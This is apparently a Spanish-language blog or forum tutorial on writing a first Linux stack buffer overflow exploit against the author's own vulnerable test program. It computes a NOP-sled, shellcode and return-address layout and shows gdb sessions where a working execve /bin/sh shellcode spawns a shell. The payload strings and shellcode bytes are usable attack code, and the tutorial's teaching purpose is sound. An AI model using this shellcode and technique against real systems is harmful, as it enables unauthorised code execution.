Mostrar Mensajes
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb)
Código:
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Código
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$
¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!
PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas
Un saludo! Os espero.
Sagrini
Sacado de mi blog xD!
